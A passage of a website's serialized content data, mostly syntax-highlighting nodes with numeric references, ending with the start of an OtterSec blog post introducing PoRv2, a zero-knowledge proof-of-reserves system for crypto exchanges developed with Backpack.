"style":70},[91091],{"type":28,"value":1629},{"type":23,"tag":41,"props":91093,"children":91094},{"style":94},[91095],{"type":28,"value":1634},{"type":23,"tag":41,"props":91097,"children":91098},{"style":70},[91099],{"type":28,"value":970},{"type":23,"tag":41,"props":91101,"children":91102},{"style":94},[91103],{"type":28,"value":1017},{"type":23,"tag":41,"props":91105,"children":91106},{"style":70},[91107],{"type":28,"value":1647},{"type":23,"tag":41,"props":91109,"children":91110},{"style":94},[91111],{"type":28,"value":1652},{"type":23,"tag":41,"props":91113,"children":91114},{"style":70},[91115],{"type":28,"value":970},{"type":23,"tag":41,"props":91117,"children":91118},{"style":64},[91119],{"type":28,"value":991},{"type":23,"tag":41,"props":91121,"children":91122},{"style":70},[91123],{"type":28,"value":1647},{"type":23,"tag":41,"props":91125,"children":91126},{"style":94},[91127],{"type":28,"value":1669},{"type":23,"tag":41,"props":91129,"children":91130},{"style":64},[91131],{"type":28,"value":836},{"type":23,"tag":41,"props":91133,"children":91134},{"style":70},[91135],{"type":28,"value":1678},{"type":23,"tag":41,"props":91137,"children":91138},{"style":64},[91139],{"type":28,"value":846},{"type":23,"tag":41,"props":91141,"children":91142},{"style":94},[91143],{"type":28,"value":819},{"type":23,"tag":41,"props":91145,"children":91146},{"style":64},[91147],{"type":28,"value":855},{"type":23,"tag":41,"props":91149,"children":91150},{"style":858},[91151],{"type":28,"value":861},{"type":23,"tag":41,"props":91153,"children":91154},{"style":70},[91155],{"type":28,"value":866},{"type":23,"tag":41,"props":91157,"children":91158},{"style":64},[91159],{"type":28,"value":1703},{"type":23,"tag":41,"props":91161,"children":91162},{"class":43,"line":930},[91163],{"type":23,"tag":41,"props":91164,"children":91165},{"style":70},[91166],{"type":28,"value":1711},{"type":23,"tag":41,"props":91168,"children":91169},{"class":43,"line":939},[91170,91174,91178,91182,91186,91190,91194,91198,91202,91206,91210],{"type":23,"tag":41,"props":91171,"children":91172},{"style":58},[91173],{"type":28,"value":1719},{"type":23,"tag":41,"props":91175,"children":91176},{"style":70},[91177],{"type":28,"value":1724},{"type":23,"tag":41,"props":91179,"children":91180},{"style":170},[91181],{"type":28,"value":387},{"type":23,"tag":41,"props":91183,"children":91184},{"style":114},[91185],{"type":28,"value":768},{"type":23,"tag":41,"props":91187,"children":91188},{"style":70},[91189],{"type":28,"value":1737},{"type":23,"tag":41,"props":91191,"children":91192},{"style":164},[91193],{"type":28,"value":317},{"type":23,"tag":41,"props":91195,"children":91196},{"style":70},[91197],{"type":28,"value":1746},{"type":23,"tag":41,"props":91199,"children":91200},{"style":170},[91201],{"type":28,"value":1751},{"type":23,"tag":41,"props":91203,"children":91204},{"style":70},[91205],{"type":28,"value":1756},{"type":23,"tag":41,"props":91207,"children":91208},{"style":170},[91209],{"type":28,"value":387},{"type":23,"tag":41,"props":91211,"children":91212},{"style":70},[91213],{"type":28,"value":1765},{"type":23,"tag":41,"props":91215,"children":91216},{"class":43,"line":947},[91217],{"type":23,"tag":41,"props":91218,"children":91219},{"style":70},[91220],{"type":28,"value":192},{"type":23,"tag":41,"props":91222,"children":91223},{"class":43,"line":985},[91224],{"type":23,"tag":41,"props":91225,"children":91226},{"style":70},[91227],{"type":28,"value":1567},{"type":23,"tag":41,"props":91229,"children":91230},{"class":43,"line":1058},[91231],{"type":23,"tag":41,"props":91232,"children":91233},{"style":70},[91234],{"type":28,"value":201},{"type":23,"tag":41,"props":91236,"children":91237},{"class":43,"line":1084},[91238],{"type":23,"tag":41,"props":91239,"children":91240},{"emptyLinePlaceholder":18},[91241],{"type":28,"value":82},{"type":23,"tag":41,"props":91243,"children":91244},{"class":43,"line":1102},[91245,91249,91253,91257,91261,91265,91269,91273],{"type":23,"tag":41,"props":91246,"children":91247},{"style":64},[91248],{"type":28,"value":753},{"type":23,"tag":41,"props":91250,"children":91251},{"style":70},[91252],{"type":28,"value":758},{"type":23,"tag":41,"props":91254,"children":91255},{"style":64},[91256],{"type":28,"value":781},{"type":23,"tag":41,"props":91258,"children":91259},{"style":94},[91260],{"type":28,"value":965},{"type":23,"tag":41,"props":91262,"children":91263},{"style":70},[91264],{"type":28,"value":970},{"type":23,"tag":41,"props":91266,"children":91267},{"style":64},[91268],{"type":28,"value":781},{"type":23,"tag":41,"props":91270,"children":91271},{"style":94},[91272],{"type":28,"value":768},{"type":23,"tag":41,"props":91274,"children":91275},{"style":70},[91276],{"type":28,"value":773},{"type":23,"tag":41,"props":91278,"children":91279},{"class":43,"line":1110},[91280],{"type":23,"tag":41,"props":91281,"children":91282},{"style":70},[91283],{"type":28,"value":1836},{"type":23,"tag":41,"props":91285,"children":91286},{"class":43,"line":1118},[91287,91291,91295,91299,91303],{"type":23,"tag":41,"props":91288,"children":91289},{"style":64},[91290],{"type":28,"value":1844},{"type":23,"tag":41,"props":91292,"children":91293},{"style":64},[91294],{"type":28,"value":1849},{"type":23,"tag":41,"props":91296,"children":91297},{"style":70},[91298],{"type":28,"value":1854},{"type":23,"tag":41,"props":91300,"children":91301},{"style":94},[91302],{"type":28,"value":1859},{"type":23,"tag":41,"props":91304,"children":91305},{"style":170},[91306],{"type":28,"value":1864},{"type":23,"tag":41,"props":91308,"children":91309},{"class":43,"line":1137},[91310,91314,91318,91322,91326,91330,91334,91338],{"type":23,"tag":41,"props":91311,"children":91312},{"style":70},[91313],{"type":28,"value":1872},{"type":23,"tag":41,"props":91315,"children":91316},{"style":94},[91317],{"type":28,"value":1877},{"type":23,"tag":41,"props":91319,"children":91320},{"style":70},[91321],{"type":28,"value":970},{"type":23,"tag":41,"props":91323,"children":91324},{"style":94},[91325],{"type":28,"value":1017},{"type":23,"tag":41,"props":91327,"children":91328},{"style":70},[91329],{"type":28,"value":1890},{"type":23,"tag":41,"props":91331,"children":91332},{"style":64},[91333],{"type":28,"value":991},{"type":23,"tag":41,"props":91335,"children":91336},{"style":170},[91337],{"type":28,"value":1022},{"type":23,"tag":41,"props":91339,"children":91340},{"style":70},[91341],{"type":28,"value":1903},{"type":23,"tag":41,"props":91343,"children":91344},{"class":43,"line":1163},[91345,91349,91353,91357,91361,91365,91369,91373,91377,91381,91385,91389,91393,91397,91401],{"type":23,"tag":41,"props":91346,"children":91347},{"style":64},[91348],{"type":28,"value":1911},{"type":23,"tag":41,"props":91350,"children":91351},{"style":70},[91352],{"type":28,"value":1916},{"type":23,"tag":41,"props":91354,"children":91355},{"style":64},[91356],{"type":28,"value":846},{"type":23,"tag":41,"props":91358,"children":91359},{"style":94},[91360],{"type":28,"value":965},{"type":23,"tag":41,"props":91362,"children":91363},{"style":64},[91364],{"type":28,"value":855},{"type":23,"tag":41,"props":91366,"children":91367},{"style":858},[91368],{"type":28,"value":1051},{"type":23,"tag":41,"props":91370,"children":91371},{"style":70},[91372],{"type":28,"value":970},{"type":23,"tag":41,"props":91374,"children":91375},{"style":64},[91376],{"type":28,"value":846},{"type":23,"tag":41,"props":91378,"children":91379},{"style":94},[91380],{"type":28,"value":786},{"type":23,"tag":41,"props":91382,"children":91383},{"style":70},[91384],{"type":28,"value":1012},{"type":23,"tag":41,"props":91386,"children":91387},{"style":94},[91388],{"type":28,"value":1017},{"type":23,"tag":41,"props":91390,"children":91391},{"style":70},[91392],{"type":28,"value":1022},{"type":23,"tag":41,"props":91394,"children":91395},{"style":64},[91396],{"type":28,"value":855},{"type":23,"tag":41,"props":91398,"children":91399},{"style":858},[91400],{"type":28,"value":117},{"type":23,"tag":41,"props":91402,"children":91403},{"style":70},[91404],{"type":28,"value":1969},{"type":23,"tag":41,"props":91406,"children":91407},{"class":43,"line":1188},[91408],{"type":23,"tag":41,"props":91409,"children":91410},{"style":70},[91411],{"type":28,"value":1559},{"type":23,"tag":41,"props":91413,"children":91414},{"class":43,"line":1979},[91415,91419,91423,91427],{"type":23,"tag":41,"props":91416,"children":91417},{"style":58},[91418],{"type":28,"value":1985},{"type":23,"tag":41,"props":91420,"children":91421},{"style":70},[91422],{"type":28,"value":1990},{"type":23,"tag":41,"props":91424,"children":91425},{"style":170},[91426],{"type":28,"value":387},{"type":23,"tag":41,"props":91428,"children":91429},{"style":70},[91430],{"type":28,"value":1999},{"type":23,"tag":41,"props":91432,"children":91433},{"class":43,"line":2002},[91434],{"type":23,"tag":41,"props":91435,"children":91436},{"style":70},[91437],{"type":28,"value":201},{"type":23,"tag":24,"props":91439,"children":91440},{},[91441,91442,91447],{"type":28,"value":2012},{"type":23,"tag":37,"props":91443,"children":91445},{"className":91444},[],[91446],{"type":28,"value":2018},{"type":28,"value":2020},{"type":23,"tag":24,"props":91449,"children":91450},{},[91451,91452,91457,91458,91463],{"type":28,"value":2025},{"type":23,"tag":37,"props":91453,"children":91455},{"className":91454},[],[91456],{"type":28,"value":514},{"type":28,"value":2032},{"type":23,"tag":37,"props":91459,"children":91461},{"className":91460},[],[91462],{"type":28,"value":2038},{"type":28,"value":1474},{"type":23,"tag":417,"props":91465,"children":91466},{},[91467,91471,91475,91479],{"type":23,"tag":421,"props":91468,"children":91469},{},[91470],{"type":28,"value":2047},{"type":23,"tag":421,"props":91472,"children":91473},{},[91474],{"type":28,"value":2052},{"type":23,"tag":421,"props":91476,"children":91477},{},[91478],{"type":28,"value":2057},{"type":23,"tag":421,"props":91480,"children":91481},{},[91482],{"type":28,"value":2062},{"type":23,"tag":24,"props":91484,"children":91485},{},[91486,91487,91491],{"type":28,"value":2067},{"type":23,"tag":510,"props":91488,"children":91489},{},[91490],{"type":28,"value":2072},{"type":28,"value":706},{"type":23,"tag":24,"props":91493,"children":91494},{},[91495],{"type":28,"value":2078},{"type":23,"tag":31,"props":91497,"children":91498},{"code":2081,"language":355,"meta":7,"className":356,"style":7},[91499],{"type":23,"tag":37,"props":91500,"children":91501},{"__ignoreMap":7},[91502,91509,91520,91527,91542,91565,91588],{"type":23,"tag":41,"props":91503,"children":91504},{"class":43,"line":44},[91505],{"type":23,"tag":41,"props":91506,"children":91507},{"style":48},[91508],{"type":28,"value":2093},{"type":23,"tag":41,"props":91510,"children":91511},{"class":43,"line":54},[91512,91516],{"type":23,"tag":41,"props":91513,"children":91514},{"style":58},[91515],{"type":28,"value":732},{"type":23,"tag":41,"props":91517,"children":91518},{"style":735},[91519],{"type":28,"value":2105},{"type":23,"tag":41,"props":91521,"children":91522},{"class":43,"line":76},[91523],{"type":23,"tag":41,"props":91524,"children":91525},{"emptyLinePlaceholder":18},[91526],{"type":28,"value":82},{"type":23,"tag":41,"props":91528,"children":91529},{"class":43,"line":85},[91530,91534,91538],{"type":23,"tag":41,"props":91531,"children":91532},{"style":64},[91533],{"type":28,"value":1124},{"type":23,"tag":41,"props":91535,"children":91536},{"style":114},[91537],{"type":28,"value":1129},{"type":23,"tag":41,"props":91539,"children":91540},{"style":70},[91541],{"type":28,"value":1134},{"type":23,"tag":41,"props":91543,"children":91544},{"class":43,"line":105},[91545,91549,91553,91557,91561],{"type":23,"tag":41,"props":91546,"children":91547},{"style":70},[91548],{"type":28,"value":2135},{"type":23,"tag":41,"props":91550,"children":91551},{"style":170},[91552],{"type":28,"value":1012},{"type":23,"tag":41,"props":91554,"children":91555},{"style":64},[91556],{"type":28,"value":1124},{"type":23,"tag":41,"props":91558,"children":91559},{"style":170},[91560],{"type":28,"value":1022},{"type":23,"tag":41,"props":91562,"children":91563},{"style":70},[91564],{"type":28,"value":1160},{"type":23,"tag":41,"props":91566,"children":91567},{"class":43,"line":155},[91568,91572,91576,91580,91584],{"type":23,"tag":41,"props":91569,"children":91570},{"style":58},[91571],{"type":28,"value":1090},{"type":23,"tag":41,"props":91573,"children":91574},{"style":70},[91575],{"type":28,"value":1173},{"type":23,"tag":41,"props":91577,"children":91578},{"style":170},[91579],{"type":28,"value":387},{"type":23,"tag":41,"props":91581,"children":91582},{"style":164},[91583],{"type":28,"value":392},{"type":23,"tag":41,"props":91585,"children":91586},{"style":70},[91587],{"type":28,"value":183},{"type":23,"tag":41,"props":91589,"children":91590},{"class":43,"line":186},[91591],{"type":23,"tag":41,"props":91592,"children":91593},{"style":70},[91594],{"type":28,"value":201},{"type":23,"tag":24,"props":91596,"children":91597},{},[91598],{"type":28,"value":2186},{"type":23,"tag":24,"props":91600,"children":91601},{},[91602],{"type":28,"value":2191},{"type":23,"tag":24,"props":91604,"children":91605},{},[91606,91607,91612],{"type":28,"value":2196},{"type":23,"tag":458,"props":91608,"children":91610},{"href":2199,"rel":91609},[462],[91611],{"type":28,"value":2203},{"type":28,"value":2205},{"type":23,"tag":24,"props":91614,"children":91615},{},[91616],{"type":28,"value":2210},{"type":23,"tag":31,"props":91618,"children":91619},{"code":2213,"language":2214,"meta":7,"className":2215,"style":7},[91620],{"type":23,"tag":37,"props":91621,"children":91622},{"__ignoreMap":7},[91623,91630,91637,91644,91651,91658,91665,91672,91679],{"type":23,"tag":41,"props":91624,"children":91625},{"class":43,"line":44},[91626],{"type":23,"tag":41,"props":91627,"children":91628},{"style":70},[91629],{"type":28,"value":2227},{"type":23,"tag":41,"props":91631,"children":91632},{"class":43,"line":54},[91633],{"type":23,"tag":41,"props":91634,"children":91635},{"style":70},[91636],{"type":28,"value":1836},{"type":23,"tag":41,"props":91638,"children":91639},{"class":43,"line":76},[91640],{"type":23,"tag":41,"props":91641,"children":91642},{"style":70},[91643],{"type":28,"value":2242},{"type":23,"tag":41,"props":91645,"children":91646},{"class":43,"line":85},[91647],{"type":23,"tag":41,"props":91648,"children":91649},{"style":70},[91650],{"type":28,"value":2250},{"type":23,"tag":41,"props":91652,"children":91653},{"class":43,"line":105},[91654],{"type":23,"tag":41,"props":91655,"children":91656},{"style":70},[91657],{"type":28,"value":2258},{"type":23,"tag":41,"props":91659,"children":91660},{"class":43,"line":155},[91661],{"type":23,"tag":41,"props":91662,"children":91663},{"style":70},[91664],{"type":28,"value":1559},{"type":23,"tag":41,"props":91666,"children":91667},{"class":43,"line":186},[91668],{"type":23,"tag":41,"props":91669,"children":91670},{"style":735},[91671],{"type":28,"value":2273},{"type":23,"tag":41,"props":91673,"children":91674},{"class":43,"line":195},[91675],{"type":23,"tag":41,"props":91676,"children":91677},{"style":164},[91678],{"type":28,"value":2281},{"type":23,"tag":41,"props":91680,"children":91681},{"class":43,"line":905},[91682],{"type":23,"tag":41,"props":91683,"children":91684},{"style":70},[91685],{"type":28,"value":201},{"type":23,"tag":24,"props":91687,"children":91688},{},[91689,91690,91695,91696,91701],{"type":28,"value":2293},{"type":23,"tag":37,"props":91691,"children":91693},{"className":91692},[],[91694],{"type":28,"value":562},{"type":28,"value":2300},{"type":23,"tag":37,"props":91697,"children":91699},{"className":91698},[],[91700],{"type":28,"value":570},{"type":28,"value":706},{"type":23,"tag":24,"props":91703,"children":91704},{},[91705],{"type":28,"value":2311},{"type":23,"tag":442,"props":91707,"children":91708},{},[],{"type":23,"tag":446,"props":91710,"children":91711},{"id":2317},[91712],{"type":28,"value":2320},{"type":23,"tag":24,"props":91714,"children":91715},{},[91716,91717,91722],{"type":28,"value":2325},{"type":23,"tag":37,"props":91718,"children":91720},{"className":91719},[],[91721],{"type":28,"value":408},{"type":28,"value":2332},{"type":23,"tag":24,"props":91724,"children":91725},{},[91726,91727,91732],{"type":28,"value":2337},{"type":23,"tag":37,"props":91728,"children":91730},{"className":91729},[],[91731],{"type":28,"value":2343},{"type":28,"value":1474},{"type":23,"tag":31,"props":91734,"children":91735},{"code":2347,"language":355,"meta":7,"className":356,"style":7},[91736],{"type":23,"tag":37,"props":91737,"children":91738},{"__ignoreMap":7},[91739,91782,91805,91812,91887,91894,91941,91968,91975,91994,92001,92040,92047],{"type":23,"tag":41,"props":91740,"children":91741},{"class":43,"line":44},[91742,91746,91750,91754,91758,91762,91766,91770,91774,91778],{"type":23,"tag":41,"props":91743,"children":91744},{"style":58},[91745],{"type":28,"value":368},{"type":23,"tag":41,"props":91747,"children":91748},{"style":70},[91749],{"type":28,"value":2363},{"type":23,"tag":41,"props":91751,"children":91752},{"style":64},[91753],{"type":28,"value":846},{"type":23,"tag":41,"props":91755,"children":91756},{"style":170},[91757],{"type":28,"value":377},{"type":23,"tag":41,"props":91759,"children":91760},{"style":70},[91761],{"type":28,"value":2376},{"type":23,"tag":41,"props":91763,"children":91764},{"style":170},[91765],{"type":28,"value":2381},{"type":23,"tag":41,"props":91767,"children":91768},{"style":858},[91769],{"type":28,"value":2386},{"type":23,"tag":41,"props":91771,"children":91772},{"style":70},[91773],{"type":28,"value":706},{"type":23,"tag":41,"props":91775,"children":91776},{"style":114},[91777],{"type":28,"value":2395},{"type":23,"tag":41,"props":91779,"children":91780},{"style":70},[91781],{"type":28,"value":2400},{"type":23,"tag":41,"props":91783,"children":91784},{"class":43,"line":54},[91785,91789,91793,91797,91801],{"type":23,"tag":41,"props":91786,"children":91787},{"style":70},[91788],{"type":28,"value":2408},{"type":23,"tag":41,"props":91790,"children":91791},{"style":170},[91792],{"type":28,"value":1012},{"type":23,"tag":41,"props":91794,"children":91795},{"style":70},[91796],{"type":28,"value":1465},{"type":23,"tag":41,"props":91798,"children":91799},{"style":170},[91800],{"type":28,"value":1022},{"type":23,"tag":41,"props":91802,"children":91803},{"style":70},[91804],{"type":28,"value":2425},{"type":23,"tag":41,"props":91806,"children":91807},{"class":43,"line":76},[91808],{"type":23,"tag":41,"props":91809,"children":91810},{"emptyLinePlaceholder":18},[91811],{"type":28,"value":82},{"type":23,"tag":41,"props":91813,"children":91814},{"class":43,"line":85},[91815,91819,91823,91827,91831,91835,91839,91843,91847,91851,91855,91859,91863,91867,91871,91875,91879,91883],{"type":23,"tag":41,"props":91816,"children":91817},{"style":58},[91818],{"type":28,"value":2440},{"type":23,"tag":41,"props":91820,"children":91821},{"style":70},[91822],{"type":28,"value":142},{"type":23,"tag":41,"props":91824,"children":91825},{"style":858},[91826],{"type":28,"value":2395},{"type":23,"tag":41,"props":91828,"children":91829},{"style":70},[91830],{"type":28,"value":2453},{"type":23,"tag":41,"props":91832,"children":91833},{"style":114},[91834],{"type":28,"value":2458},{"type":23,"tag":41,"props":91836,"children":91837},{"style":70},[91838],{"type":28,"value":2463},{"type":23,"tag":41,"props":91840,"children":91841},{"style":858},[91842],{"type":28,"value":1669},{"type":23,"tag":41,"props":91844,"children":91845},{"style":170},[91846],{"type":28,"value":2472},{"type":23,"tag":41,"props":91848,"children":91849},{"style":858},[91850],{"type":28,"value":2477},{"type":23,"tag":41,"props":91852,"children":91853},{"style":70},[91854],{"type":28,"value":2453},{"type":23,"tag":41,"props":91856,"children":91857},{"style":114},[91858],{"type":28,"value":2458},{"type":23,"tag":41,"props":91860,"children":91861},{"style":70},[91862],{"type":28,"value":2463},{"type":23,"tag":41,"props":91864,"children":91865},{"style":858},[91866],{"type":28,"value":1669},{"type":23,"tag":41,"props":91868,"children":91869},{"style":70},[91870],{"type":28,"value":2453},{"type":23,"tag":41,"props":91872,"children":91873},{"style":114},[91874],{"type":28,"value":2502},{"type":23,"tag":41,"props":91876,"children":91877},{"style":70},[91878],{"type":28,"value":122},{"type":23,"tag":41,"props":91880,"children":91881},{"style":170},[91882],{"type":28,"value":387},{"type":23,"tag":41,"props":91884,"children":91885},{"style":70},[91886],{"type":28,"value":2515},{"type":23,"tag":41,"props":91888,"children":91889},{"class":43,"line":105},[91890],{"type":23,"tag":41,"props":91891,"children":91892},{"style":70},[91893],{"type":28,"value":2523},{"type":23,"tag":41,"props":91895,"children":91896},{"class":43,"line":155},[91897,91901,91905,91909,91913,91917,91921,91925,91929,91933,91937],{"type":23,"tag":41,"props":91898,"children":91899},{"style":58},[91900],{"type":28,"value":2531},{"type":23,"tag":41,"props":91902,"children":91903},{"style":58},[91904],{"type":28,"value":2536},{"type":23,"tag":41,"props":91906,"children":91907},{"style":70},[91908],{"type":28,"value":2541},{"type":23,"tag":41,"props":91910,"children":91911},{"style":170},[91912],{"type":28,"value":1012},{"type":23,"tag":41,"props":91914,"children":91915},{"style":70},[91916],{"type":28,"value":2550},{"type":23,"tag":41,"props":91918,"children":91919},{"style":170},[91920],{"type":28,"value":1022},{"type":23,"tag":41,"props":91922,"children":91923},{"style":70},[91924],{"type":28,"value":2559},{"type":23,"tag":41,"props":91926,"children":91927},{"style":170},[91928],{"type":28,"value":2381},{"type":23,"tag":41,"props":91930,"children":91931},{"style":70},[91932],{"type":28,"value":2568},{"type":23,"tag":41,"props":91934,"children":91935},{"style":114},[91936],{"type":28,"value":2573},{"type":23,"tag":41,"props":91938,"children":91939},{"style":70},[91940],{"type":28,"value":2578},{"type":23,"tag":41,"props":91942,"children":91943},{"class":43,"line":186},[91944,91948,91952,91956,91960,91964],{"type":23,"tag":41,"props":91945,"children":91946},{"style":70},[91947],{"type":28,"value":2586},{"type":23,"tag":41,"props":91949,"children":91950},{"style":170},[91951],{"type":28,"value":2381},{"type":23,"tag":41,"props":91953,"children":91954},{"style":858},[91955],{"type":28,"value":2595},{"type":23,"tag":41,"props":91957,"children":91958},{"style":70},[91959],{"type":28,"value":2453},{"type":23,"tag":41,"props":91961,"children":91962},{"style":858},[91963],{"type":28,"value":1652},{"type":23,"tag":41,"props":91965,"children":91966},{"style":70},[91967],{"type":28,"value":183},{"type":23,"tag":41,"props":91969,"children":91970},{"class":43,"line":195},[91971],{"type":23,"tag":41,"props":91972,"children":91973},{"emptyLinePlaceholder":18},[91974],{"type":28,"value":82},{"type":23,"tag":41,"props":91976,"children":91977},{"class":43,"line":905},[91978,91982,91986,91990],{"type":23,"tag":41,"props":91979,"children":91980},{"style":58},[91981],{"type":28,"value":2440},{"type":23,"tag":41,"props":91983,"children":91984},{"style":70},[91985],{"type":28,"value":142},{"type":23,"tag":41,"props":91987,"children":91988},{"style":170},[91989],{"type":28,"value":2630},{"type":23,"tag":41,"props":91991,"children":91992},{"style":70},[91993],{"type":28,"value":2635},{"type":23,"tag":41,"props":91995,"children":91996},{"class":43,"line":922},[91997],{"type":23,"tag":41,"props":91998,"children":91999},{"style":70},[92000],{"type":28,"value":2523},{"type":23,"tag":41,"props":92002,"children":92003},{"class":43,"line":930},[92004,92008,92012,92016,92020,92024,92028,92032,92036],{"type":23,"tag":41,"props":92005,"children":92006},{"style":58},[92007],{"type":28,"value":2531},{"type":23,"tag":41,"props":92009,"children":92010},{"style":58},[92011],{"type":28,"value":2536},{"type":23,"tag":41,"props":92013,"children":92014},{"style":70},[92015],{"type":28,"value":142},{"type":23,"tag":41,"props":92017,"children":92018},{"style":170},[92019],{"type":28,"value":377},{"type":23,"tag":41,"props":92021,"children":92022},{"style":70},[92023],{"type":28,"value":382},{"type":23,"tag":41,"props":92025,"children":92026},{"style":170},[92027],{"type":28,"value":387},{"type":23,"tag":41,"props":92029,"children":92030},{"style":164},[92031],{"type":28,"value":392},{"type":23,"tag":41,"props":92033,"children":92034},{"style":70},[92035],{"type":28,"value":2678},{"type":23,"tag":41,"props":92037,"children":92038},{"style":48},[92039],{"type":28,"value":2683},{"type":23,"tag":41,"props":92041,"children":92042},{"class":43,"line":939},[92043],{"type":23,"tag":41,"props":92044,"children":92045},{"style":70},[92046],{"type":28,"value":2523},{"type":23,"tag":41,"props":92048,"children":92049},{"class":43,"line":947},[92050],{"type":23,"tag":41,"props":92051,"children":92052},{"style":70},[92053],{"type":28,"value":201},{"type":23,"tag":24,"props":92055,"children":92056},{},[92057],{"type":28,"value":2702},{"type":23,"tag":417,"props":92059,"children":92060},{},[92061,92065,92069],{"type":23,"tag":421,"props":92062,"children":92063},{},[92064],{"type":28,"value":2710},{"type":23,"tag":421,"props":92066,"children":92067},{},[92068],{"type":28,"value":2715},{"type":23,"tag":421,"props":92070,"children":92071},{},[92072],{"type":28,"value":2720},{"type":23,"tag":24,"props":92074,"children":92075},{},[92076],{"type":28,"value":2725},{"type":23,"tag":442,"props":92078,"children":92079},{},[],{"type":23,"tag":446,"props":92081,"children":92082},{"id":2731},[92083],{"type":28,"value":2734},{"type":23,"tag":24,"props":92085,"children":92086},{},[92087],{"type":28,"value":2739},{"type":23,"tag":417,"props":92089,"children":92090},{},[92091,92095,92099],{"type":23,"tag":421,"props":92092,"children":92093},{},[92094],{"type":28,"value":2747},{"type":23,"tag":421,"props":92096,"children":92097},{},[92098],{"type":28,"value":2752},{"type":23,"tag":421,"props":92100,"children":92101},{},[92102],{"type":28,"value":2757},{"type":23,"tag":24,"props":92104,"children":92105},{},[92106,92107,92111,92112,92117],{"type":28,"value":2762},{"type":23,"tag":510,"props":92108,"children":92109},{},[92110],{"type":28,"value":2767},{"type":28,"value":2769},{"type":23,"tag":37,"props":92113,"children":92115},{"className":92114},[],[92116],{"type":28,"value":2775},{"type":28,"value":2777},{"type":23,"tag":442,"props":92119,"children":92120},{},[],{"type":23,"tag":446,"props":92122,"children":92123},{"id":2783},[92124],{"type":28,"value":2786},{"type":23,"tag":417,"props":92126,"children":92127},{},[92128,92135],{"type":23,"tag":421,"props":92129,"children":92130},{},[92131],{"type":23,"tag":510,"props":92132,"children":92133},{},[92134],{"type":28,"value":2797},{"type":23,"tag":421,"props":92136,"children":92137},{},[92138],{"type":23,"tag":510,"props":92139,"children":92140},{},[92141],{"type":28,"value":2805},{"type":23,"tag":442,"props":92143,"children":92144},{},[],{"type":23,"tag":446,"props":92146,"children":92147},{"id":2811},[92148],{"type":28,"value":2814},{"type":23,"tag":24,"props":92150,"children":92151},{},[92152],{"type":28,"value":2819},{"type":23,"tag":24,"props":92154,"children":92155},{},[92156,92157,92161],{"type":28,"value":2824},{"type":23,"tag":510,"props":92158,"children":92159},{},[92160],{"type":28,"value":2829},{"type":28,"value":2831},{"type":23,"tag":24,"props":92163,"children":92164},{},[92165],{"type":28,"value":2836},{"type":23,"tag":24,"props":92167,"children":92168},{},[92169],{"type":28,"value":2841},{"type":23,"tag":2843,"props":92171,"children":92172},{},[92173],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":92175},[92176,92177,92182,92185,92186,92187,92188,92189],{"id":448,"depth":54,"text":451},{"id":541,"depth":54,"text":544,"children":92178},[92179,92180,92181],{"id":548,"depth":76,"text":551},{"id":616,"depth":76,"text":619},{"id":709,"depth":76,"text":712},{"id":1332,"depth":54,"text":1335,"children":92183},[92184],{"id":1338,"depth":76,"text":1341},{"id":1451,"depth":54,"text":1454},{"id":2317,"depth":54,"text":2320},{"id":2731,"depth":54,"text":2734},{"id":2783,"depth":54,"text":2786},{"id":2811,"depth":54,"text":2814},{"_path":92191,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":92192,"description":92193,"date":92194,"author":31194,"image":92195,"isFeatured":18,"onBlogPage":18,"tags":92197,"body":92200,"_type":2864,"_id":96976,"_source":2866,"_file":96977,"_stem":96978,"_extension":2869},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":92196,"width":13,"height":13},"/posts/por/title.png",[92198,92199],"zk","por",{"type":20,"children":92201,"toc":96953},[92202,92208,92220,92232,92237,92269,92283,92289,92301,92306,92311,92348,92353,92359,92364,92371,92376,92402,92407,92413,92433,92447,92455,92460,92465,92473,92486,92492,92574,92580,92585,92598,92603,92610,92634,92642,92647,92653,92658,93106,93119,93125,93130,93138,93156,93164,93177,93185,94846,94851,94858,94864,94869,94876,94892,94899,94907,94914,96425,96430,96437,96443,96448,96475,96480,96499,96505,96513,96531,96580,96588,96607,96629,96635,96648,96653,96660,96665,96728,96733,96740,96760,96766,96771,96777,96782,96826,96831,96839,96845,96850,96892,96897,96905,96910,96918,96922,96927,96940],{"type":23,"tag":446,"props":92203,"children":92205},{"id":92204},"what-is-a-proof-of-reserves",[92206],{"type":28,"value":92207},"What is a Proof of Reserves?",{"type":23,"tag":24,"props":92209,"children":92210},{},[92211,92213,92218],{"type":28,"value":92212},"At its heart, ",{"type":23,"tag":510,"props":92214,"children":92215},{},[92216],{"type":28,"value":92217},"Proof of Reserves (PoR)",{"type":28,"value":92219}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":24,"props":92221,"children":92222},{},[92223,92225,92230],{"type":28,"value":92224},"Think of it this way: ",{"type":23,"tag":510,"props":92226,"children":92227},{},[92228],{"type":28,"value":92229},"PoR",{"type":28,"value":92231}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":24,"props":92233,"children":92234},{},[92235],{"type":28,"value":92236},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":23,"tag":24,"props":92238,"children":92239},{},[92240,92242,92249,92251,92258,92260,92267],{"type":28,"value":92241},"We from OtterSec, in partnership with ",{"type":23,"tag":458,"props":92243,"children":92246},{"href":92244,"rel":92245},"https://backpack.exchange/",[462],[92247],{"type":28,"value":92248},"Backpack",{"type":28,"value":92250},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":458,"props":92252,"children":92255},{"href":92253,"rel":92254},"https://github.com/otter-sec/por_v2",[462],[92256],{"type":28,"value":92257},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":28,"value":92259}," was based on ",{"type":23,"tag":458,"props":92261,"children":92264},{"href":92262,"rel":92263},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[462],[92265],{"type":28,"value":92266},"OKX Proof of Reserves algorithm",{"type":28,"value":92268}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some 